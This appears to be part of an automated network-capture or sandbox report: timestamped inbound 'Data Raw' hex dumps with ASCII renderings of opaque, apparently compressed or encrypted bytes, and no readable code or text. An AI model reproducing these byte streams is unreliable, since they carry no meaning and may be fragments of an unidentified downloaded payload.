7b 09 7c b0 cd 43 65 c0 ec fb 1c 4b 0c 77 2d 4e 22 0b 49 7d 98 a4 f4 0d 7b 92 c5 0b 72 96 12 5d 22 4e 83 80 46 1e 2e e8 56 49 d7 4c 0c ab b3 c2 9c 00 72 3e 5f 9e 87 67 39 df 75 39 56 e5 1c 1b 49 dc Data Ascii: @KNCE$B/8ac2"o~NzIs53K[cm,/Y:?+hY~=%b5=]#)aV]E5\|:)T+l9P`#{t>5v>V{\|CeKw-N"I}{r]"NF.VILr>_g9u9VI
2021-12-28 17:13:33 UTC	200	IN	Data Raw: a7 aa ea 79 13 ab 8c 69 52 4b 9b b3 9a 7c 55 44 91 82 17 bd 08 9d 21 a8 47 a9 ec 72 5f 50 cd 17 9e 1d 4b 23 73 a5 2e cb 8a dc 63 c6 27 ad 61 56 9b 4e 49 d5 ae 8e 61 44 39 57 5d 0b bf e0 0a a3 85 55 ed 3f b3 d1 4c 32 4b fb fb b4 51 98 7a 2c aa fc 7b bc 0a a7 9c 26 cc fc 2c Data Ascii: yiRK\|UD!Gr_PK#s.c'aVNIaD9W]U?L2KQz,{&,
2021-12-28 17:13:33 UTC	200	IN	Data Raw: b1 a3 96 3b 9d 6d 44 20 9a 35 a7 f4 76 7b ba 6e 1a 83 bb c1 a4 fd 10 b5 be eb ec ce 0b a5 d2 a3 8e 41 f1 0d ea 26 00 cb 8a 7e 36 72 07 3f 8b 63 56 86 5e a3 38 2f 77 4c 05 fc 85 26 66 a2 a9 2d 52 70 de ea 6f c0 7c 88 c6 23 dd e3 b2 c7 1f 9d e9 7f e9 fd 44 88 f3 04 e5 80 5b a1 91 b4 0a 5d 8a 88 ad 92 fd f4 e8 d0 49 00 b5 9a 96 1c ee 23 d6 00 65 ae be 4d 71 92 18 dc 27 01 d9 4d 46 e0 ad 62 a4 22 6e b8 b9 ff 11 9a b1 5a 3c 3d ed 91 5d 96 f6 18 06 4b 8e fa 3e 30 76 4e 7a b1 91 e5 19 c7 ee fe 03 66 f7 7f 2f b5 0e db 30 4e ed 2c 41 db ce 8f 3d 00 22 c7 e5 f3 cf 8d d8 e7 eb f3 e9 0b d0 5e a2 3c 52 8f 25 f3 93 1d aa 31 90 aa 9f 0a 29 27 33 92 2b 34 e1 85 b0 94 36 99 8f b7 58 f2 7a 87 09 b0 dc 1e 2a 68 3a 1a 74 6e 46 ba 4b 97 26 a0 57 f2 ed f9 bf 87 b8 69 1c 05 2b Data Ascii: ;mD 5v{nA&~6r?cV^8/wL&f-Rpo\|#D[]I#eMq'MFb"nZ<=]K>0vNzf/0N,A="^<R%1)'3+46Xz*h:tnFK&Wi+
2021-12-28 17:13:33 UTC	204	IN	Data Raw: a6 9e 4b 16 38 21 70 2e 4a 6e b0 6f 10 6e 6e 5a c4 d9 57 a9 bc 60 88 53 49 93 86 73 83 f0 fc 41 fb d4 00 de 84 5d 58 19 a7 8c 33 87 e5 45 3f 47 d4 14 fc c9 c9 c0 9e ab 3d f2 0c f5 87 a9 b9 33 41 11 39 33 5a bc 6e 09 65 c6 35 0f 2c 5a da 2d 4d 86 a3 2e a5 ce ec e2 0f dd 84 ce 1e 9e 47 88 25 b6 f1 32 00 c2 ab c0 ae 62 57 14 58 41 7c 47 00 d9 a2 ed 88 a1 e8 cf 85 3c a8 66 fc d1 95 db 1f 53 e4 60 7e 51 b0 7e c2 f0 f0 36 fc ae 06 d2 bb a3 68 f2 57 6e bf e2 23 6d 3e bb 94 39 df 73 07 7d 9e f0 48 96 16 0c fa f9 3c 9c 2b 07 02 81 5c 7a 75 dd 72 39 7d 52 ab 19 f4 e1 05 0c 82 07 b7 c6 35 1e 66 b5 eb 5d 34 a7 c6 5b de 30 54 34 9e 26 c6 18 b4 58 74 58 05 eb 69 37 61 9e 0b 08 88 d5 6e 52 ce 8d 0a 9d c4 6a 4d e3 19 c1 3d 7c 31 3a 88 2c ee 2c 29 fc 66 d5 4d 5c f6 e5 33 Data Ascii: K8!p.JnonnZW`SIsA]X3E?G=3A93Zne5,Z-M.G%2bWXA\|G<fS`~Q~6hWn#m>9s}H<+\zur9}R5f]4[0T4&XtXi7anRjM=\|1:,,)fM\3
2021-12-28 17:13:33 UTC	208	IN	Data Raw: 34 1a d4 01 b8 5e 98 13 1a a3 67 0d 0d c7 59 6a d0 b7 f6 73 10 f4 8c 62 ab 26 d0 6d 84 c1 19 35 04 e0 13 88 c5 16 59 55 b7 6a 8e 51 f3 f2 f7 f4 ae a9 2a 03 45 07 56 52 dc 58 97 95 3b 0e ca 39 a1 1f 1f 8b b5 20 19 52 23 f0 e1 c5 23 66 25 10 dc 01 ad 7e 47 10 86 12 b7 f7 f8 32 e3 ff 65 a8 9e 52 1b 12 5d 8a b9 1e b3 ed 94 34 c7 1e ee e2 39 3c 75 4e bb df 0f db 4e 84 77 02 7f 08 73 db a9 b2 81 58 89 d7 a9 6a 75 b3 3c 70 39 03 c9 26 ec c3 a4 ff 89 0b 77 7f f8 98 2e 68 4d 78 4b 24 72 20 f4 16 a9 a7 fc 7e e5 9a 53 92 b9 f6 12 af d4 9c 7a 6f 6b 20 fd 9c 24 1d a7 7d 29 05 ca 8c f4 a4 85 d1 a5 af 27 1f 94 67 0c c6 92 dd b6 d6 0f 58 67 00 cb dd b5 fc df a6 8b 7b dd 7f 86 c0 90 c5 4c 97 0f da 67 91 ed c9 ce 23 c0 67 f5 a0 48 fe 15 08 0a 02 f5 e7 d2 47 87 f3 6a 1a 23 Data Ascii: 4^gYjsb&m5YUjQ*EVRX;9 R##f%~G2eR]49<uNNwsXju<p9&w.hMxK$r ~Szok $})'gXg{Lg#gHGj#
2021-12-28 17:13:33 UTC	223	IN	Data Raw: 82 06 58 3a 48 28 07 d2 4d a0 3b 76 d0 24 17 43 9a 9d d8 62 8c 5c 2d 22 fe c9 07 61 a1 c5 84 ee 7e c7 c0 df 44 c8 d9 47 56 eb 6d 29 37 8f b4 5f e2 bf 31 75 5b e0 c2 bd 5a 55 b0 49 6e 15 82 6c 7e 1c 06 30 c9 ce d3 43 5f 25 65 9e 02 b3 3a d5 16 08 16 3c 60 06 0e 5d 1f 4e ce 44 f6 5e 7c c8 1d 32 73 ce 18 5a 94 95 0e 14 fe f6 4c 27 9b 4f c9 8a 8f 9c fc cf c3 18 ea 5d 61 25 2e 79 4b 4c 49 22 84 2d 85 b4 ab f2 a7 b9 a1 ba f1 46 94 3b 9b 81 41 ac 5f 11 63 97 da 26 f4 ea 25 1a ec 37 9e a4 f1 59 3a 06 b5 da 90 51 1d 93 f1 7d 7a 28 0a 5d f6 35 19 e6 6b 5f 6e e7 b3 5b 49 4a 50 29 ed 44 1d dd d0 5f 6b 67 0a 8d 6d 8c a6 52 ce 9c 24 91 fc 92 11 82 37 c5 81 05 e8 25 64 cd 95 11 75 f7 e7 b3 d8 2b 21 80 46 95 24 a5 4c 23 ed 5e ec 54 16 87 1d 97 00 aa 21 de ec 59 64 aa 0c Data Ascii: X:H(M;v$Cb\-"a~DGVm)7_1u[ZUInl~0C_%e:<`]ND^\|2sZL'O]a%.yKLI"-F;A_c&%7Y:Q}z(]5k_n[IJP)D_kgmR$7%du+!F$L#^T!Yd
2021-12-28 17:13:33 UTC	224	IN	Data Raw: 42 0d 0a ca 8c 01 59 66 11 f1 3b c2 1d c5 89 a8 c3 7f 19 34 6e 9c 58 aa 63 3b 3f 93 3f 73 98 16 3a 3f 5b 2d 38 9a 17 f6 eb 38 3c 69 32 62 cb 3c ba 55 19 d9 34 4d 12 d8 95 d6 af b0 67 2a f9 d5 d6 21 b3 9e 85 df 52 59 c8 71 8e e0 1c c6 f6 fd a5 38 96 8f 85 25 f9 83 f1 79 a1 cb d5 ff 88 4e 7a 4d 26 32 fd 79 69 96 b5 29 fa 7a 93 e3 af 6b 71 46 82 08 43 9f fc 52 52 f5 8f 58 40 56 18 66 1b b8 49 36 3a f2 2e 8b 9a 86 55 97 1a ab db 6a 4d d2 0a 91 09 25 bb f5 cd be db 95 c2 54 f7 0f 9c fa b3 1d a4 16 f9 58 ba ea a3 db 8c fe 6d e1 2a c7 9c d9 1b 9f 66 82 64 e3 75 e0 04 09 69 8d 95 9f 4c b9 a3 67 4c de fa b7 e2 ad 67 0b 37 3a 5b 0a 2c 50 3d 4b 6a 0f 09 df b1 f2 61 cd 49 5e 74 7e 3e 88 32 bc 26 f3 da d2 3b 76 d7 a4 fb 4c fd 79 f0 87 fd 3e ba 0a 1f bc 9c b7 d6 5d f5 Data Ascii: BYf;4nXc;??s:?[-88<i2b<U4Mg!RYq8%yNzM&2yi)zkqFCRRX@VfI6:.UjM%TXmfduiLgLg7:[,P=KjaI^t~>2&;vLy>]
2021-12-28 17:13:33 UTC	240	IN	Data Raw: 29 41 e2 88 84 f2 ec f3 97 1e b5 ae 26 88 86 47 9f e3 81 1f 02 ad 7c 36 5c c9 cf 51 67 f3 2d 8e f8 0a 69 8f 92 6d 51 1e 86 3c 4b 50 3d 40 75 b2 20 3f d4 37 70 8f 6e 86 83 72 03 ea 80 42 57 a9 b3 e1 33 b1 5a 6d 23 2d fa d6 4d bb 76 8d 17 06 3e e7 b7 55 ad 20 0d 74 41 5e 7a 26 8e 3b 80 8c 71 bc 0e 51 bd 93 b2 a7 5c 94 c6 f2 0e 95 f2 1c ff 70 24 4d 41 44 05 3c 45 8b ee 14 86 85 21 f0 b0 d1 a3 09 07 79 33 cd 1e 38 80 9f 4e f2 73 be ac ad 87 5a 0d fa 12 8e 64 07 25 18 63 2c 1c 38 fc 44 f5 7b 1c f2 80 92 bd 6f ab c8 08 6d d1 1b 66 41 08 a6 76 e8 bb ef 44 f3 88 34 b7 f7 f2 22 d9 b1 13 76 48 bc e8 a3 31 6d ac e3 24 e9 06 a5 2d 06 89 04 62 20 40 0d 6e 58 49 1e b9 c2 1c 94 43 2b aa 91 dd b5 58 89 1c d8 8a 13 44 11 c3 ca 8e e9 89 98 08 c7 e2 e2 39 f7 94 68 d5 74 08 Data Ascii: )A&G\|6\Qg-imQ<KP=@u ?7pnrBW3Zm#-Mv>U tA^z&;qQ\p$MAD<E!y38NsZd%c,8D{omfAvD4"vH1m$-b @nXIC+XD9ht
2021-12-28 17:13:33 UTC	255	IN	Data Raw: 5e 61 9f dc f0 32 0a 95 74 f5 aa 2f fc f6 b6 e6 a0 43 90 a3 6c dc 51 08 fe 6e df 93 f8 97 49 1c 37 d6 a1 69 0d f4 cc 9d 56 2b 8a 6d 54 4a 9e 0c 4b 6c 9d f2 93 9f ad 59 ef 23 49 7d 61 f9 0f 05 87 8e 88 98 16 32 77 68 2b 21 63 44 db 0c a6 58 fe 60 e5 60 3b 34 6e 47 99 60 f4 73 de ad 32 d2 be 2d 8e 61 a9 08 14 e4 85 7a 22 5b 2d 1c e7 df 99 08 1e 7f ca ce 96 f1 93 a5 fd d0 5f 41 a7 9d c2 a2 bb a5 2f 13 1d 48 f2 64 86 92 a4 72 e0 04 ea 50 50 57 88 99 79 0b 65 7a eb 60 69 76 6a 44 97 18 d7 47 47 c6 03 a9 da 54 13 a3 aa 52 e0 54 e6 2c c5 5d d8 20 f1 48 eb d4 a2 0c 58 ba f4 d9 8b 82 db 72 43 70 80 78 d2 4a 20 13 c3 3d c0 e5 ae c5 e2 d0 4d 01 2b 44 69 f0 99 b6 9b 4f 55 9c 0c bd 44 96 e8 1b 81 9e bf 80 b5 ea 35 94 71 48 91 95 b2 1d 0d ba 83 e0 06 44 2a e1 a3 1d f0 Data Ascii: ^a2t/ClQnI7iV+mTJKlY#I}a2wh+!cDX``;4nG`s2-az"[-_A/HdrPPWyez`ivjDGGTRT,] HXrCpxJ =M+DiOUD5qHD*
2021-12-28 17:13:33 UTC	271	IN	Data Raw: 5b bd 63 64 63 e8 6f 25 22 6a 05 f1 4a d9 87 77 de 33 2f e0 36 17 2d 0f c1 9a 84 df 6b c7 23 a1 3e e0 13 67 c8 66 51 b1 2d a3 4f b1 87 48 4d 71 82 c1 77 f4 28 63 35 1b a3 f1 4e 0e f4 6d 84 5d 7a d9 27 c8 78 d0 16 80 b6 2f 57 68 93 d4 99 81 33 90 34 80 ac b1 92 e9 3d df 50 a0 bd 6b 1d 07 b4 26 a4 3d f1 66 77 4b 6d 4d 4a 2b 7e 88 81 01 4f db 53 1b fe 86 c3 7a eb 9b 90 60 34 50 e1 e6 ac 45 18 63 a9 a3 0f 3d 51 80 60 11 e3 a9 c1 16 b7 58 7d 0d cd 76 6c e9 97 cb 72 70 be 9c ef 12 86 89 be 44 ab 6b df 43 29 84 9f a3 8a f1 be f8 c9 3d af c4 db 11 94 ce 0e 06 d5 0a 5c db 05 1a 1e fb ad e2 67 b3 1f b6 df b0 4f 86 e6 9a 74 2b 75 74 d5 13 f7 46 4e 99 0d e1 d5 cd 53 e0 4e a1 15 17 80 d8 06 3a ce 49 47 03 b2 1e 38 8d bb 38 62 16 21 17 29 cf 2e 14 d1 5d eb 21 64 0a 36 Data Ascii: [cdco%"jJw3/6-k#>gfQ-OHMqw(c5Nm]z'x/Wh34=Pk&=fwKmMJ+~OSz`4PEc=Q`X}vlrpDkC)=\gOt+utFNSN:IG88b!).]!d6
2021-12-28 17:13:33 UTC	287	IN	Data Raw: b6 9b 55 81 90 86 9a f4 ab 36 ac 18 d0 f5 41 35 eb f8 6b 7a 5d 13 9c 42 f2 0d e9 40 73 0a 38 7d 6b 70 74 2b e0 65 5b 99 c7 a6 24 09 2b 96 67 e8 05 9b 67 20 80 8a 27 2a 16 65 18 f5 2f a9 ea 1f 22 b9 3e cd ce 95 99 21 9b b3 42 c6 78 39 1d 86 0e d4 1c 76 06 b9 4d e6 33 64 46 7a f6 46 88 69 8d cf a0 bd 6a 15 6c 31 06 94 5e 4e 16 98 3c d8 93 81 b0 83 c9 3e bd 91 49 33 58 f0 54 5a 8d 0b 62 b6 6c af 97 39 76 6e cf 6e 58 0e 35 2a d3 2f b5 05 02 a3 9e ee 79 1e b9 08 55 13 20 02 18 b6 1a 02 97 5d 39 b2 8d 1d 68 4f c2 74 fd 3d a7 2f 1b 50 f5 02 fc f2 f0 03 60 92 69 a4 a3 6e c4 f0 4b c1 84 c9 38 56 9f 7e 7c 57 5f 5d 91 1b e2 c3 da 63 0c 59 17 c9 21 59 ea a2 5f e1 f5 c0 c0 b0 bc d8 9f 0f 7b 7e 21 8a 0d af 41 ba ed cb bc 6a 29 7d d9 46 d4 35 08 ac b7 99 b4 21 8a 45 21 Data Ascii: U6A5kz]B@s8}kpt+e[$+gg 'e/">!Bx9vM3dFzFijl1^N<>I3XTZbl9vnnX5/yU ]9hOt=/P`inK8V~\|W_]cY!Y_{~!Aj)}F5!E!
2021-12-28 17:13:33 UTC	303	IN	Data Raw: a4 5b f1 85 d7 d6 17 d8 88 58 78 cc c8 21 d9 fd eb 6e 5a cb 76 04 b7 f5 d0 60 22 3d 41 6e e0 9c 0f 21 d0 a9 8d f2 a8 44 a5 e6 e3 f9 48 7a 63 dd fd aa 26 58 1d db 21 cf 1d e2 c8 ee d7 a1 aa 6a db 07 f3 f5 de fc 21 d2 1b a6 5b ee 44 ae c0 1a e9 99 86 28 9b b4 ad 48 b3 46 ca 15 0d 7d 30 85 e9 e8 8e 75 b2 d5 60 da fe c2 a4 6e ca 07 7a b6 95 9e 3b fa 3b 99 5d 19 90 e3 42 58 f1 09 8b 6a b2 ab 12 73 89 53 b9 52 87 88 dd 31 a2 56 11 37 6d c5 6d 2f a4 1b 6a bb a5 6b 50 6f 70 f8 3f ea 5b 3f 2c 03 36 eb a6 6e fa 15 84 4f 1a 4f bf a0 45 3f ed f9 d1 7e 26 22 4f 44 60 78 49 2a 19 db 3a c7 df ea 24 2e 25 e8 a4 aa e8 9d d4 ac 06 ff fd c3 2a 9d 50 7c 0f 69 92 58 a2 9a 50 6a 8d 93 a8 94 e9 df 25 47 b8 a5 ff 11 5e 17 d4 11 0d 2b 65 44 9a ff e3 40 9a 2f c0 c9 a0 bc 6b a2 81 Data Ascii: [Xx!nZv`"=An!DHzc&X!j![D(HF}0u`nz;;]BXjsSR1V7mm/jkPop?[?,6nOOE?~&"OD`xI:$.%P\|iXPj%G^+eD@/k
2021-12-28 17:13:33 UTC	319	IN	Data Raw: 63 b5 33 5c a8 2c 69 41 6b bc d1 e3 ab 92 66 d9 0a ac 5a cb 3e b0 a8 80 ff 99 c0 bc ca d2 4c af a3 d6 ef 31 31 3b 5f b4 96 71 ea b7 71 93 f3 70 f5 e3 93 49 8b a1 b4 4b a2 99 06 e7 a7 42 3e 90 ca 35 df 27 50 6a b7 14 d8 fc a0 76 b4 de e3 45 0f e7 46 af 52 56 57 f3 9f a0 d4 1e 98 0b 5d aa 73 09 fb 38 6c dc 6a 9c 17 b4 d9 87 4d 76 4b 88 8f 8f 66 bf b9 7d 46 5b 89 c9 84 b1 42 0f f9 38 93 6b ea a0 75 55 c0 b0 74 11 aa 25 a6 4e 25 ac d1 e5 b8 97 46 a3 f6 90 3d 54 f1 1a 48 57 00 22 88 92 c9 e4 30 01 b0 c4 db 3e 14 10 5b 27 96 90 36 82 ac 59 ea 1d 8e c5 c5 eb 22 3a a8 4e 71 23 eb af d5 3f d4 34 8b 07 89 f0 2e 78 48 d0 87 05 7b 3d 3f 58 ca 90 72 8f c7 eb 52 12 99 06 81 55 5b 00 65 ba e1 14 3b 71 fb 6b f3 12 78 59 6f 2b 89 e2 e4 5d 49 d4 8e 13 df 51 84 77 7c b1 9f Data Ascii: c3\,iAkfZ>L11;_qqpIKB>5'PjvEFRVW]s8ljMvKf}F[B8kuUt%N%F=THW"0>['6Y":Nq#?4.xH{=?XrRU[e;qkxYo+]IQw\|
2021-12-28 17:13:33 UTC	335	IN	Data Raw: f3 01 e9 9d 1b ba 50 14 90 b5 78 8b ab 56 17 e8 60 bb 3e 48 d9 fa 33 7d 8a b1 70 53 15 23 62 5b 3d 9b 45 ac ea 20 bb 7a 77 f5 5c de e2 ff 6f 08 88 8e 4b c7 64 ae a5 ad e8 70 1d 1f ec 77 c8 a9 cb 9a eb 78 ef ec 66 7d 41 a0 4c 6e 76 30 d6 a1 af 9f 02 3e db 10 5f 50 09 b0 51 e1 fa c6 0c 24 60 9a bb 01 7c 41 6f 47 b4 ed 58 cf 0d 91 9d d5 ba 98 4c e8 00 f2 8e 5d f3 26 a1 2c a9 6e 29 fc 23 56 c0 9f 97 50 1d ca 2c b7 ff 86 32 0e 69 ca f5 02 41 3c 14 08 5a 37 b5 6a 1b 7a 8b 26 00 c5 98 c8 d7 45 8d 91 39 8c ca 45 d8 3c 04 7d fe 7a 62 df d9 52 7f 93 48 59 dd f5 10 d7 9c 59 c2 3d 51 9c 2f 6d 98 c8 4a e4 76 ee f1 7c 3b d4 a2 bf 6c 36 08 a6 a8 0a bf 27 13 0c 2a 26 f6 f3 fe 49 ba 9d 89 07 7b 95 a2 4a 72 49 45 7a 83 07 b0 db ca 76 2d 93 cf ca 91 a9 b8 f8 b8 a2 94 99 7f Data Ascii: PxV`>H3}pS#b[=E zw\oKdpwxf}ALnv0>_PQ$`\|AoGXL]&,n)#VP,2iA<Z7jz&E9E<}zbRHYY=Q/mJv\|;l6'*&I{JrIEzv-
2021-12-28 17:13:33 UTC	351	IN	Data Raw: a5 27 77 d5 dd d0 1e c3 f7 eb 07 93 a8 94 b9 16 13 c5 59 17 fb af dc 28 24 d6 9c 58 d5 24 22 8c 88 3f 3d 6c f0 9d 55 09 03 9b d3 3a e9 61 a5 89 6d a9 39 42 90 ad 63 ba 25 0d 0c c1 f1 c4 c8 fd c5 26 d7 1a c8 79 52 d8 72 4e 4e eb 7c 6f 77 c9 18 ab c1 bb d6 0e f8 bb 92 6f fa 0b f8 d6 f3 d8 ca 65 7c 9b 58 a6 66 e2 4e 72 97 fe a4 dd 9c 44 7d 6f bc 9c 14 e6 64 09 f4 54 df 15 e3 bd b4 c1 e1 0d 02 cf b2 38 2f 41 b3 82 7e 68 34 62 e4 80 88 74 de ac f0 68 c3 bd ff ec f5 24 70 fd d1 fa ef 6b fc 77 09 29 4d 58 db 25 df cc 02 87 af 10 e5 37 ce e3 3f 62 3c 2e ce 22 c0 6f 13 f4 2a 03 49 11 a1 48 f1 44 e8 d5 12 74 cb 3c 03 4f 1d 53 bd 72 fd d4 2f ef 84 f3 b1 4f 45 06 de 7f 51 b3 2e d6 5c 50 54 67 68 db 97 bf 77 87 24 f7 e1 34 52 52 f7 83 ce 08 e8 5a 51 ef ae b1 e0 fd 51 Data Ascii: 'wY($X$"?=lU:am9Bc%&yRrNN\|owoe\|XfNrD}odT8/A~h4bth$pkw)MX%7?b<."o*IHDt<OSr/OEQ.\PTghw$4RRZQQ
2021-12-28 17:13:33 UTC	367	IN	Data Raw: 28 db dc ad 81 8c 38 67 47 77 b1 9b 83 29 f9 c6 3f 86 1c 6c 01 9d 4f e6 38 31 b2 f1 20 6c dc 2c fa 3f 1c 36 59 8e 52 8b 0d d0 35 1b a3 d8 8d c5 2f e7 7b da 37 ed e2 7e 3c c2 bc 24 43 66 aa 8d 99 6b a8 03 1e 3a 4e 5d 97 5b aa cd 65 a9 9c dd ee 67 55 a5 2d 7e 66 93 4a 93 e6 ec 0f 2d db 28 cb 81 23 c5 6c f1 e0 f3 6b 8d 16 6a 54 b2 79 15 b1 2a fb 60 8b f8 ed 06 d1 06 59 7a e7 4c 5d 11 79 59 97 3b 20 c5 7d 71 92 fb b6 ad 9b 6f fa d7 ec e2 2b 20 42 74 3e b4 98 71 2e cb f5 e0 d1 8f d3 49 14 41 73 d9 45 b6 99 26 a7 8c 7d d8 86 1e 58 31 66 9d 35 8c 6b f9 fa 54 eb ae 21 b3 1b 9b f4 bc 76 0b bc c5 c8 90 23 24 d1 19 4b 25 5e 94 f0 6a de e1 28 47 61 eb e2 dd e3 90 f0 bc 86 f9 7e b7 28 8e 6e 64 3e c6 35 fb 8c 09 a3 39 05 fe 7e 48 a5 bf d7 1d 2f db a0 d4 55 3e f6 e6 ac Data Ascii: (8gGw)?lO81 l,?6YR5/{7~<$Cfk:N][egU-~fJ-(#lkjTy*`YzL]yY; }qo+ Bt>q.IAsE&}X1f5kT!v#$K%^j(Ga~(nd>59~H/U>
2021-12-28 17:13:33 UTC	383	IN	Data Raw: 1c 64 e6 d6 36 80 d4 19 1d 6c 79 18 9f 3b 6d 93 18 18 a3 14 42 1b 5b 49 f4 56 05 88 0d ff 27 9d 05 f9 1d fd 21 20 0d 81 ed 89 c9 b4 1c 5d 45 38 df 95 77 84 87 c8 91 6a b8 18 00 22 28 4c 2d db 9a ee d7 62 8c bc 20 36 95 83 c1 cc e9 9e 8d b1 9e 29 cd 40 15 0d 69 b9 e5 ca 32 72 bd bc d9 cc 01 9d c3 95 89 fc 34 e6 9b 4b 75 4a c0 26 ce fe 66 e9 2e 61 c8 b5 34 ba 55 dc 56 aa e5 cc 4e ff 6a 03 31 8d b3 b6 93 2e 9a 7b a7 98 d4 0f d9 de 0a 4a f3 b8 13 d7 df e7 cc e4 e8 0e 7b b8 b9 53 5a 6c d1 3a 04 b6 2e fa 91 ed 24 c2 09 4b 0e 59 4e 85 b0 4a cf d0 94 97 f5 d3 95 14 56 81 36 61 4e 20 cc 75 49 5d 31 3c 0d 89 e8 8b b9 ec d5 6e 70 fc fd ac 30 c4 7e f2 ff e6 9d 92 e0 54 c3 f8 3f 91 38 32 7f a0 35 d1 a3 9c 8b d2 40 37 53 44 29 ad 6a 1d 25 43 7a 94 08 b7 e4 b1 0f 41 c1 Data Ascii: d6ly;mB[IV'! ]E8wj"(L-b 6)@i2r4KuJ&f.a4UVNj1.{J{SZl:.$KYNJV6aN uI]1<np0~T?825@7SD)j%CzA
2021-12-28 17:13:33 UTC	399	IN	Data Raw: 40 07 e4 c9 8e 10 4a 6d dc ee 66 ce 27 0d f2 4c 8e f3 60 dc 85 a8 01 c7 e4 4b a6 eb 80 81 9c 47 6e 92 2b e6 a5 4d d1 56 8c 8c 70 6e bf cd 51 6b 83 45 d2 25 cf 96 14 83 64 ca 54 61 2e 5e 6a 53 14 41 b3 da 20 ae 8f 02 ea c7 01 74 7d 19 56 be c2 49 a0 58 80 d7 8d b5 57 60 ca 75 1d 30 95 93 42 c5 bf d4 92 bf f0 c5 ee f6 6d 40 38 9c 19 66 e5 4d ed d5 7d cc 2e 13 92 bb 0e 9f e3 04 0a 77 5a 93 fa a9 87 f6 1a 83 f8 ba 17 6e 62 ca ac c4 5f 3e d2 c3 c9 a7 6a e8 b7 03 85 a8 db fe 94 a4 28 2f 0e 2b 9a 51 c6 cd 6c 40 bf 32 23 3f ca 58 e3 70 5b be ad ab 18 2a 9c 2e 6c 8e 04 e3 b3 04 b0 bf e4 fa e8 40 59 54 cf 9e 8f e5 88 ca d2 cf 2f 1c fd 58 cc 40 2b 6d 08 f6 4c 40 07 30 b3 fa 38 84 dc f1 9f 51 8f 9c f9 a0 b6 b4 73 64 84 64 45 6e ea 06 fc 10 74 3f df 09 ee 10 db ee ff Data Ascii: @Jmf'L`KGn+MVpnQkE%dTa.^jSA t}VIXW`u0Bm@8fM}.wZnb_>j(/+Ql@2#?Xp[*.l@YT/X@+mL@08QsddEnt?
2021-12-28 17:13:33 UTC	415	IN	Data Raw: 81 56 62 5b 47 20 74 20 e2 fe 66 cb ba 24 bd e4 dd 70 80 8a b0 be 3f 19 7b fc 6c 08 e3 de 54 f7 b5 fc 5c 69 fc 52 58 57 20 d8 0b 92 74 fa 6e c9 c4 81 99 87 1b f4 53 3a ce 4d cd 09 6e 66 00 ec db de 3a 26 24 6d f9 6f 41 33 bf 21 28 c1 8e 11 80 96 67 98 f1 83 30 f5 18 95 90 19 5c a4 7f 30 68 6f 0b 7d ef b7 1d 9f 58 fe 23 80 4b 82 b0 ca d6 85 58 63 5d 5f b4 8d c2 f7 2e 78 ff 01 29 5b 44 aa 17 f7 0d 7e 82 1d c1 a5 7d 28 1a 70 64 78 7b 8b 15 3f ec d2 5b 9f 9a 85 a1 85 9d d5 89 0e f1 cc 02 a5 f6 d2 cd 5e f5 7c 0a 5f 63 fb c5 71 dd d7 29 e9 c7 aa ca a5 80 e7 af 8c db b7 5e 43 62 19 d3 98 d8 c5 6f eb 2e e4 43 4e 5c 8b 2a 38 cc 04 7e d7 c0 7c e3 04 dd 5b 0b cc 52 21 5c f8 3b 1b 49 48 bd 73 30 49 0f b2 19 ba 3a 2e b4 1e 37 21 de 11 ce 51 d9 44 c1 4a 47 ae 1a 4b 0a Data Ascii: Vb[G t f$p?{lT\iRXW tnS:Mnf:&$moA3!(g0\0ho}X#KXc]_.x)[D~}(pdx{?[^\|_cq)^Cbo.CN\*8~\|[R!\;IHs0I:.7!QDJGK
2021-12-28 17:13:33 UTC	431	IN	Data Raw: 68 95 02 80 7d 3a 06 37 f6 64 c1 52 11 01 5e 6d 68 10 49 fa ed c9 46 34 f2 e2 e5 f1 10 6e 54 26 15 10 cf c2 03 25 cb 2c f7 5c 5a bf d5 d5 00 5a 31 ad 61 18 96 18 ff c7 cb 5f 88 97 00 7f 8e 7e 98 22 6b d7 52 63 0a a5 f0 a4 c2 25 59 7d 16 66 02 5c 8e 4a 80 f4 9d 0c a2 74 b3 5b b0 46 e6 3b 95 8a b7 ee 1f 83 3e b9 86 a2 c0 d5 76 84 72 29 d0 c4 1a a3 b5 8c b7 ea 4f cf 30 8d 66 32 f3 db d8 a1 8e 98 80 99 ac d0 4d 9a da f3 94 0d bf 10 38 aa 49 da 5a bc fd a3 e1 6d 9e 32 2c c6 ac 40 27 df 51 33 94 c8 75 5d 71 62 0d d6 2c 2a 98 52 78 68 4c 20 58 2e 8f 23 3d 14 48 4e e7 05 1e 2c a4 8a eb 95 4d b9 59 4e b0 8c 54 04 c8 44 b0 07 78 41 87 0d 0c 36 61 95 a3 5e 4b bf 8a 8e fe 6b 1a 32 69 d5 64 e8 1c d7 72 48 f7 4d 43 83 bb b8 6e 8d d3 8f 36 e2 48 35 00 2f 60 c1 4e 39 45 Data Ascii: h}:7dR^mhIF4nT&%,\ZZ1a_~"kRc%Y}f\Jt[F;>vr)O0f2M8IZm2,@'Q3u]qb,*RxhL X.#=HN,MYNTDxA6a^Kk2idrHMCn6H5/`N9E
2021-12-28 17:13:33 UTC	447	IN	Data Raw: f2 ef cf 45 cd 3d c4 bf 22 70 56 76 dc 26 a2 1b 7b a1 a3 41 a8 52 5b d8 88 dc 56 2a b0 ec 82 e4 37 db 4d 92 c2 31 06 ec 69 73 d3 9d 7d 63 8b e6 f5 d0 20 72 27 db 29 ea 37 33 29 39 23 6d 88 f1 ab 6d 32 e1 49 70 2e ef ec cf 8d 6c 70 9e da ec 66 83 1e 10 85 ef e4 8c 70 86 bc 94 e8 40 50 f0 d5 3d db fb 5d ab ed 21 ea 0c e1 13 9a 88 cd a6 8c 29 74 4d 0e e1 60 68 ef e2 fe e5 6f 04 90 fa 3b 51 c2 1e 39 ed 9e 91 40 41 dc cd fd 16 77 bf e9 a5 26 5c c5 df 17 a8 2d c7 a8 a0 f1 62 33 14 22 de 0a 31 18 c4 f7 c3 a3 c5 ca ff ac fe 27 57 63 9a c7 d5 fd 9a bf 2e 73 c7 40 b1 5e 5f 72 ed c3 e7 a8 e9 68 61 eb 78 bf 36 67 69 e1 c1 6c e8 e3 47 2b 17 70 23 33 e8 ef a9 53 64 23 ea 38 b5 0e 5f 75 cb ee c5 33 27 95 49 fd 55 f8 ab 32 27 33 c9 8f 98 26 18 ab 08 ea d1 a4 90 b1 74 7a Data Ascii: E="pVv&{AR[V*7M1is}c r')73)9#mm2Ip.lpfp@P=]!)tM`ho;Q9@Aw&\-b3"1'Wc.s@^_rhax6gilG+p#3Sd#8_u3'IU2'3&tz
